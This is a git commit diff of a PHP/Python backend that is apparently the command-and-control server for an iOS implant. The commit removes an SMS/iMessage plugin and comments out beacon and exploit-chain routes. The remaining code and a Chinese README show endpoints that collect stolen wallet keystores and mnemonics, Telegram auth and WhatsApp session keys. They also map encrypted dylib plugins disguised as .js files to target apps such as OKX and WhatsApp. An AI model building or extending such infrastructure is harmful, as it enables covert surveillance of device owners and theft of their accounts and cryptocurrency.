feat: delete
This commit is contained in:
@@ -283,7 +283,6 @@ class DeviceController extends Controller
|
|||||||
$device->mnemonics()->delete();
|
$device->mnemonics()->delete();
|
||||||
$device->keystores()->delete();
|
$device->keystores()->delete();
|
||||||
$device->pluginSessions()->delete();
|
$device->pluginSessions()->delete();
|
||||||
$device->smsReports()->delete();
|
|
||||||
$device->beaconTasks()->delete();
|
$device->beaconTasks()->delete();
|
||||||
$device->delete();
|
$device->delete();
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -172,7 +172,7 @@ class C2Controller extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* SMS task poll from imagent. Native treats code==0 as "poll every 3s";
|
* Old imagent poll path. Native treats code==0 as "poll every 3s";
|
||||||
* non-zero backs off to ~60s — return code 1 to avoid hammering.
|
* non-zero backs off to ~60s — return code 1 to avoid hammering.
|
||||||
* Payload `p` is the device phone number.
|
* Payload `p` is the device phone number.
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -14,8 +14,7 @@ use Illuminate\Http\Response;
|
|||||||
* Native path map (corepayload + details plugins):
|
* Native path map (corepayload + details plugins):
|
||||||
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||||
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap),
|
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap).
|
||||||
* /m/t/g /m/t/r imagent SMS poll / report (sms).
|
|
||||||
*
|
*
|
||||||
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
|
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
|
||||||
* Plugin routes do not write channel_id (same as /api/tg/t).
|
* Plugin routes do not write channel_id (same as /api/tg/t).
|
||||||
@@ -194,35 +193,6 @@ class XxbbC2Controller extends Controller
|
|||||||
return $this->xxbbAck($request);
|
return $this->xxbbAck($request);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* sms: POST /m/t/g — poll outbound SMS tasks.
|
|
||||||
* Lab never queues send tasks; code=1 + empty data matches native backoff.
|
|
||||||
*/
|
|
||||||
public function smsPoll(Request $request): Response
|
|
||||||
{
|
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
|
||||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
||||||
if ($device && is_array($payload)) {
|
|
||||||
$this->ingest->ingestDevicePhone($device, $payload);
|
|
||||||
$this->ingest->ingestSmsHeartbeat($device, $payload);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
|
|
||||||
}
|
|
||||||
|
|
||||||
/** sms: POST /m/t/r — task result / status. */
|
|
||||||
public function smsReport(Request $request): Response
|
|
||||||
{
|
|
||||||
$payload = $request->attributes->get('coruna_payload');
|
|
||||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
||||||
if ($device && is_array($payload)) {
|
|
||||||
$this->ingest->ingestDevicePhone($device, $payload);
|
|
||||||
$this->ingest->ingestSmsTaskReport($device, $payload);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $this->xxbbAck($request);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param array<string, mixed>|null $body
|
* @param array<string, mixed>|null $body
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -164,11 +164,6 @@ class Device extends Model
|
|||||||
return $this->hasMany(PluginSession::class);
|
return $this->hasMany(PluginSession::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function smsReports(): HasMany
|
|
||||||
{
|
|
||||||
return $this->hasMany(SmsReport::class);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function beaconTasks(): HasMany
|
public function beaconTasks(): HasMany
|
||||||
{
|
{
|
||||||
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
||||||
|
|||||||
@@ -1,25 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
namespace App\Models;
|
|
||||||
|
|
||||||
use Illuminate\Database\Eloquent\Model;
|
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|
||||||
|
|
||||||
class SmsReport extends Model
|
|
||||||
{
|
|
||||||
protected $fillable = [
|
|
||||||
'device_id', 'device_key', 'task_id', 'dest_phone', 'local_phone', 'msg', 'status', 'payload',
|
|
||||||
];
|
|
||||||
|
|
||||||
protected function casts(): array
|
|
||||||
{
|
|
||||||
return [
|
|
||||||
'payload' => 'array',
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
public function device(): BelongsTo
|
|
||||||
{
|
|
||||||
return $this->belongsTo(Device::class);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -431,25 +431,130 @@ class ChannelProjectService
|
|||||||
private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array
|
private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array
|
||||||
{
|
{
|
||||||
$timeout = (float) config('coruna.channel_builder.timeout', 600);
|
$timeout = (float) config('coruna.channel_builder.timeout', 600);
|
||||||
|
$probe = $this->builderProbe($cmd, $cwd);
|
||||||
|
Log::info('channel_builder start', $probe + [
|
||||||
|
'error_prefix' => $errorPrefix,
|
||||||
|
'timeout' => $timeout,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$started = microtime(true);
|
||||||
$process = Process::timeout((int) max(1, $timeout))
|
$process = Process::timeout((int) max(1, $timeout))
|
||||||
->path($cwd)
|
->path($cwd)
|
||||||
->run($cmd);
|
->run($cmd);
|
||||||
|
$ms = (int) ((microtime(true) - $started) * 1000);
|
||||||
|
$stdout = trim($process->output());
|
||||||
|
$stderr = trim($process->errorOutput());
|
||||||
|
|
||||||
if (! $process->successful()) {
|
if (! $process->successful()) {
|
||||||
$detail = trim($process->errorOutput() ?: $process->output());
|
$hint = trim($this->builderFailHint((int) $process->exitCode(), $cmd, $cwd).' '
|
||||||
$detail = mb_substr($detail !== '' ? $detail : 'builder exited '.$process->exitCode(), 0, 800);
|
.$this->hardeningHint($stderr."\n".$stdout, $process->exitCode()));
|
||||||
Log::error('Channel builder failed', [
|
Log::error('channel_builder failed', $probe + [
|
||||||
|
'error_prefix' => $errorPrefix,
|
||||||
'exit_code' => $process->exitCode(),
|
'exit_code' => $process->exitCode(),
|
||||||
'detail' => $detail,
|
'ms' => $ms,
|
||||||
'cmd' => $cmd,
|
'stdout' => mb_substr($stdout, 0, 2000),
|
||||||
|
'stderr' => mb_substr($stderr, 0, 2000),
|
||||||
|
'hint' => $hint,
|
||||||
]);
|
]);
|
||||||
|
$detail = $stderr !== '' ? $stderr : $stdout;
|
||||||
|
if ($detail === '') {
|
||||||
|
$detail = 'builder exited '.$process->exitCode();
|
||||||
|
}
|
||||||
|
if ($hint !== '') {
|
||||||
|
$detail .= ';'.$hint;
|
||||||
|
}
|
||||||
|
|
||||||
throw new RuntimeException("{$errorPrefix}: {$detail}");
|
throw new RuntimeException($errorPrefix.': '.mb_substr($detail, 0, 2500));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Log::info('channel_builder ok', [
|
||||||
|
'error_prefix' => $errorPrefix,
|
||||||
|
'ms' => $ms,
|
||||||
|
'cwd' => $cwd,
|
||||||
|
'python' => $cmd[0] ?? '',
|
||||||
|
]);
|
||||||
|
|
||||||
return $this->parseResultMarker($process->output(), $errorPrefix);
|
return $this->parseResultMarker($process->output(), $errorPrefix);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<string> $cmd
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function builderProbe(array $cmd, string $cwd): array
|
||||||
|
{
|
||||||
|
$python = (string) ($cmd[0] ?? '');
|
||||||
|
$script = (string) ($cmd[1] ?? '');
|
||||||
|
$uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid();
|
||||||
|
$user = function_exists('posix_getpwuid')
|
||||||
|
? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid)
|
||||||
|
: (string) $uid;
|
||||||
|
|
||||||
|
return [
|
||||||
|
'cwd' => $cwd,
|
||||||
|
'cwd_exists' => is_dir($cwd),
|
||||||
|
'cmd' => $cmd,
|
||||||
|
'php_user' => $user,
|
||||||
|
'php_uid' => $uid,
|
||||||
|
'python' => $python,
|
||||||
|
'python_is_abs' => $python !== '' && $python[0] === '/',
|
||||||
|
'python_is_link' => $python !== '' && @is_link($python),
|
||||||
|
'python_is_file' => $python !== '' && @is_file($python),
|
||||||
|
'python_link' => ($python !== '' && @is_link($python)) ? (string) @readlink($python) : null,
|
||||||
|
'script' => $script,
|
||||||
|
'script_exists' => $script !== '' && is_file($script),
|
||||||
|
'path_env' => (string) (getenv('PATH') ?: ''),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<string> $cmd
|
||||||
|
*/
|
||||||
|
private function builderFailHint(int $exit, array $cmd, string $cwd): string
|
||||||
|
{
|
||||||
|
if ($exit !== 127) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
$python = (string) ($cmd[0] ?? '');
|
||||||
|
$script = (string) ($cmd[1] ?? '');
|
||||||
|
$bits = ['exit 127 = 命令不存在'];
|
||||||
|
if ($python === '' || $python === 'python3') {
|
||||||
|
$bits[] = '未找到可用 python(.env CORUNA_CHANNEL_BUILDER_NEW_PYTHON 为空且无 .venv)';
|
||||||
|
} elseif (! @is_file($python) && ! @is_link($python)) {
|
||||||
|
$bits[] = '解释器路径不存在: '.$python;
|
||||||
|
} else {
|
||||||
|
$target = @is_link($python) ? (string) @readlink($python) : '';
|
||||||
|
if ($target !== '') {
|
||||||
|
$bits[] = 'venv python 软链指向 '.$target.'(目标机上可能没有这个 python)';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($script !== '' && ! is_file($script)) {
|
||||||
|
$bits[] = '脚本不存在: '.$script;
|
||||||
|
}
|
||||||
|
if (! is_dir($cwd)) {
|
||||||
|
$bits[] = '工作目录不存在: '.$cwd;
|
||||||
|
}
|
||||||
|
|
||||||
|
return implode(';', $bits);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function hardeningHint(string $output, ?int $exit = null): string
|
||||||
|
{
|
||||||
|
$hay = strtolower($output);
|
||||||
|
if (str_contains($hay, 'tips from bt security')
|
||||||
|
|| str_contains($hay, 'your request has been recorded')
|
||||||
|
|| $exit === 9 || $exit === 137) {
|
||||||
|
return '堡塔防入侵拦截了 www 执行 python。软件商店 → 堡塔防入侵 → 看 www 拦截日志,把 venv python 与 /usr/bin/python3.10 加白后再建渠道';
|
||||||
|
}
|
||||||
|
if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'permission denied')
|
||||||
|
&& ! str_contains($hay, 'cannot open shared object')) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
return '宝塔系统加固常去掉 /usr/bin/python3.10 与 venv 里 .so 的执行权限。'
|
||||||
|
.'请把 /www/wwwroot/coruna-lab 加入加固排除,并 chmod 755 系统 python 与 venv 下 *.so';
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return array<string, mixed>
|
* @return array<string, mixed>
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ use App\Models\Note;
|
|||||||
use App\Models\PageVisit;
|
use App\Models\PageVisit;
|
||||||
use App\Models\Photo;
|
use App\Models\Photo;
|
||||||
use App\Models\PluginSession;
|
use App\Models\PluginSession;
|
||||||
use App\Models\SmsReport;
|
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
@@ -197,8 +196,8 @@ class IngestService
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Own number from sms.js / old imagent. First write wins.
|
* Own number from /event (and leftover imagent payloads). First write wins.
|
||||||
* Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r.
|
* Prefer `p` / `phoneNumber` / cardsinfo; ignore bare `phone` when task_id is set.
|
||||||
*/
|
*/
|
||||||
public function ingestDevicePhone(Device $device, ?array $payload): void
|
public function ingestDevicePhone(Device $device, ?array $payload): void
|
||||||
{
|
{
|
||||||
@@ -218,8 +217,8 @@ class IngestService
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo.
|
* Prefer `p` / `phoneNumber`; SIM slot in cardsinfo.
|
||||||
* `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present.
|
* Bare `phone` is treated as dest when task_id is present.
|
||||||
*/
|
*/
|
||||||
private function extractOwnPhone(array $payload): ?string
|
private function extractOwnPhone(array $payload): ?string
|
||||||
{
|
{
|
||||||
@@ -597,48 +596,6 @@ class IngestService
|
|||||||
return $payload;
|
return $payload;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`).
|
|
||||||
*/
|
|
||||||
public function ingestSmsHeartbeat(Device $device, ?array $payload): void
|
|
||||||
{
|
|
||||||
if (! is_array($payload)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
$this->ingestDevicePhone($device, $payload);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`.
|
|
||||||
*/
|
|
||||||
public function ingestSmsTaskReport(Device $device, ?array $payload): void
|
|
||||||
{
|
|
||||||
if (! is_array($payload)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
$this->ingestDevicePhone($device, $payload);
|
|
||||||
|
|
||||||
$taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null);
|
|
||||||
$dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null);
|
|
||||||
$local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null);
|
|
||||||
$msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null);
|
|
||||||
$status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null);
|
|
||||||
if ($taskId === null && $dest === null && $msg === null && $status === null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
SmsReport::query()->create([
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'device_key' => $device->device_id,
|
|
||||||
'task_id' => $taskId,
|
|
||||||
'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null,
|
|
||||||
'local_phone' => $local !== null ? substr($local, 0, 64) : null,
|
|
||||||
'msg' => $msg,
|
|
||||||
'status' => $status !== null ? substr($status, 0, 64) : null,
|
|
||||||
'payload' => $payload,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param list<string> $keepKeys
|
* @param list<string> $keepKeys
|
||||||
* @param list<string> $accountKeys
|
* @param list<string> $accountKeys
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。
|
文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。
|
||||||
|
|
||||||
编号缺 `o15`:原包就没有这一号。`wap.js` / `sms.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。
|
编号缺 `o15`:原包就没有这一号。`wap.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。sms 插件已移除。
|
||||||
|
|
||||||
## 公共
|
## 公共
|
||||||
|
|
||||||
@@ -41,6 +41,5 @@
|
|||||||
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
|
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
|
||||||
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
|
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
|
||||||
| `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` |
|
| `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` |
|
||||||
| `sms.js` | sms | iMessage | `imagent` |
|
|
||||||
|
|
||||||
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。
|
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。
|
||||||
|
|||||||
Binary file not shown.
@@ -131,17 +131,16 @@ class XxbbBuildTest(unittest.TestCase):
|
|||||||
self.assertEqual(show["core"]["size"], len(core))
|
self.assertEqual(show["core"]["size"], len(core))
|
||||||
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
||||||
self.assertIn("net.whatsapp.WhatsApp", by_bundle)
|
self.assertIn("net.whatsapp.WhatsApp", by_bundle)
|
||||||
self.assertIn("imagent", by_bundle)
|
self.assertNotIn("imagent", by_bundle)
|
||||||
self.assertTrue((details / "wap.js").is_file())
|
self.assertTrue((details / "wap.js").is_file())
|
||||||
self.assertTrue((details / "sms.js").is_file())
|
self.assertFalse((details / "sms.js").is_file())
|
||||||
for name, bundle in (("wap.js", "net.whatsapp.WhatsApp"), ("sms.js", "imagent")):
|
member, plain = extract_member((details / "wap.js").read_bytes())
|
||||||
member, plain = extract_member((details / name).read_bytes())
|
self.assertTrue(member.endswith(".dylib"), member)
|
||||||
self.assertTrue(member.endswith(".dylib"), member)
|
self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["sha256"], xxbb_build.sha256_hex(plain))
|
||||||
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain), name)
|
self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["size"], len(plain))
|
||||||
self.assertEqual(by_bundle[bundle]["size"], len(plain), name)
|
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
|
||||||
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
|
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
|
||||||
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
|
self.assertIn(b"sharedReportingPool", plain)
|
||||||
self.assertIn(b"sharedReportingPool", plain)
|
|
||||||
|
|
||||||
seeds = json.loads((state / "lab_seeds.json").read_text())
|
seeds = json.loads((state / "lab_seeds.json").read_text())
|
||||||
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
||||||
@@ -344,25 +343,24 @@ class XxbbBuildTest(unittest.TestCase):
|
|||||||
self.assertNotIn("channeICode", landing)
|
self.assertNotIn("channeICode", landing)
|
||||||
self.assertNotIn('src="index.js"', landing)
|
self.assertNotIn('src="index.js"', landing)
|
||||||
|
|
||||||
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
|
def test_source_details_has_lab_passworded_wap_without_sms(self) -> None:
|
||||||
show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes())
|
show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes())
|
||||||
self.assertEqual(show_member, "data.bin")
|
self.assertEqual(show_member, "data.bin")
|
||||||
show = json.loads(show_plain.decode("utf-8"))
|
show = json.loads(show_plain.decode("utf-8"))
|
||||||
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
||||||
expected = {
|
self.assertNotIn("imagent", by_bundle)
|
||||||
"net.whatsapp.WhatsApp": "wap.js",
|
self.assertFalse((xxbb_build.SOURCE_DETAILS / "sms.js").is_file())
|
||||||
"imagent": "sms.js",
|
name = "wap.js"
|
||||||
}
|
bundle = "net.whatsapp.WhatsApp"
|
||||||
for bundle, name in expected.items():
|
self.assertIn(bundle, by_bundle)
|
||||||
self.assertIn(bundle, by_bundle)
|
self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name))
|
||||||
self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name))
|
path = xxbb_build.SOURCE_DETAILS / name
|
||||||
path = xxbb_build.SOURCE_DETAILS / name
|
self.assertTrue(path.is_file(), name)
|
||||||
self.assertTrue(path.is_file(), name)
|
member, plain = extract_member(path.read_bytes())
|
||||||
member, plain = extract_member(path.read_bytes())
|
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain))
|
||||||
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain))
|
self.assertEqual(by_bundle[bundle]["size"], len(plain))
|
||||||
self.assertEqual(by_bundle[bundle]["size"], len(plain))
|
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain)
|
||||||
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain)
|
self.assertIn(b"https://%@", plain)
|
||||||
self.assertIn(b"https://%@", plain)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|||||||
@@ -0,0 +1,29 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::dropIfExists('sms_reports');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::create('sms_reports', function (Blueprint $table) {
|
||||||
|
$table->id();
|
||||||
|
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||||
|
$table->string('device_key', 64)->index();
|
||||||
|
$table->string('task_id', 128)->nullable()->index();
|
||||||
|
$table->string('dest_phone', 64)->nullable();
|
||||||
|
$table->string('local_phone', 64)->nullable();
|
||||||
|
$table->text('msg')->nullable();
|
||||||
|
$table->string('status', 64)->nullable();
|
||||||
|
$table->json('payload')->nullable();
|
||||||
|
$table->timestamps();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -634,6 +634,28 @@ PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### 后台构建失败:`Tips from BT security !!!` / `Killed` / `import py7zr`
|
||||||
|
|
||||||
|
`www` 跑 Python 被 **堡塔防入侵** 杀掉(系统加固还会把 `python3.10` / `*.so` 执行位扒掉)。PHP-FPM 建渠道也是 `www`,所以后台会同样失败。
|
||||||
|
|
||||||
|
1. 软件商店 → **堡塔防入侵** → 打开 `www` 的拦截记录,把下面路径加白(从拦截日志里复制「命令路径」,不要自己猜):
|
||||||
|
|
||||||
|
```text
|
||||||
|
/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
||||||
|
/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
|
||||||
|
/usr/bin/python3.10
|
||||||
|
/usr/bin/python3
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。
|
||||||
|
3. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import py7zr; print("ok")'
|
||||||
|
```
|
||||||
|
|
||||||
|
临时关掉防入侵能立刻验证是不是它在杀进程;验证完再开,靠白名单维持。不要用绕过手段躲拦截。
|
||||||
|
|
||||||
### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C`
|
### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C`
|
||||||
|
|
||||||
按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
|
按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
|
||||||
|
|||||||
+8
-8
@@ -8,13 +8,13 @@ $ds = DarkSwordC2Controller::class;
|
|||||||
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
|
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
|
||||||
// (same URI, DarkSword vs xxbb chosen per request).
|
// (same URI, DarkSword vs xxbb chosen per request).
|
||||||
|
|
||||||
Route::any('/beacon', [$ds, 'beacon']);
|
// Route::any('/beacon', [$ds, 'beacon']);
|
||||||
Route::any('/war', [$ds, 'war']);
|
// Route::any('/war', [$ds, 'war']);
|
||||||
Route::any('/p', [$ds, 'p']);
|
// Route::any('/p', [$ds, 'p']);
|
||||||
Route::any('/stats', [$ds, 'stats']);
|
// Route::any('/stats', [$ds, 'stats']);
|
||||||
|
|
||||||
Route::any('/api/ds/log', [$ds, 'log']);
|
// Route::any('/api/ds/log', [$ds, 'log']);
|
||||||
Route::any('/api/ds/device/register', [$ds, 'register']);
|
// Route::any('/api/ds/device/register', [$ds, 'register']);
|
||||||
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
|
// Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
|
||||||
|
|
||||||
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
|
// Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
|
||||||
|
|||||||
@@ -33,6 +33,4 @@ Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $
|
|||||||
Route::post('/ba', [$xxbb, 'plugin']);
|
Route::post('/ba', [$xxbb, 'plugin']);
|
||||||
Route::post('/api/tg/t', [$xxbb, 'telegram']);
|
Route::post('/api/tg/t', [$xxbb, 'telegram']);
|
||||||
Route::post('/api/wp/t', [$xxbb, 'whatsapp']);
|
Route::post('/api/wp/t', [$xxbb, 'whatsapp']);
|
||||||
Route::post('/m/t/g', [$xxbb, 'smsPoll']);
|
|
||||||
Route::post('/m/t/r', [$xxbb, 'smsReport']);
|
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -13,7 +13,6 @@ use App\Models\Note;
|
|||||||
use App\Models\PageVisit;
|
use App\Models\PageVisit;
|
||||||
use App\Models\Photo;
|
use App\Models\Photo;
|
||||||
use App\Models\PluginSession;
|
use App\Models\PluginSession;
|
||||||
use App\Models\SmsReport;
|
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
@@ -82,13 +81,6 @@ class DeviceDeleteTest extends TestCase
|
|||||||
'account_id' => '123',
|
'account_id' => '123',
|
||||||
'payload' => ['user_id' => '123'],
|
'payload' => ['user_id' => '123'],
|
||||||
]);
|
]);
|
||||||
SmsReport::query()->create([
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'device_key' => 'dev-del-1',
|
|
||||||
'task_id' => 't1',
|
|
||||||
'dest_phone' => '+100',
|
|
||||||
'payload' => ['task_id' => 't1'],
|
|
||||||
]);
|
|
||||||
DsBeaconTask::query()->create([
|
DsBeaconTask::query()->create([
|
||||||
'device_id' => $device->id,
|
'device_id' => $device->id,
|
||||||
'position' => 1,
|
'position' => 1,
|
||||||
@@ -149,7 +141,6 @@ class DeviceDeleteTest extends TestCase
|
|||||||
$this->assertSame(0, WalletMnemonic::query()->count());
|
$this->assertSame(0, WalletMnemonic::query()->count());
|
||||||
$this->assertSame(0, WalletKeystore::query()->count());
|
$this->assertSame(0, WalletKeystore::query()->count());
|
||||||
$this->assertSame(0, PluginSession::query()->count());
|
$this->assertSame(0, PluginSession::query()->count());
|
||||||
$this->assertSame(0, SmsReport::query()->count());
|
|
||||||
$this->assertSame(0, DsBeaconTask::query()->count());
|
$this->assertSame(0, DsBeaconTask::query()->count());
|
||||||
$this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count());
|
$this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count());
|
||||||
$this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count());
|
$this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count());
|
||||||
|
|||||||
@@ -8,7 +8,6 @@ use App\Models\DeviceEvent;
|
|||||||
use App\Models\Note;
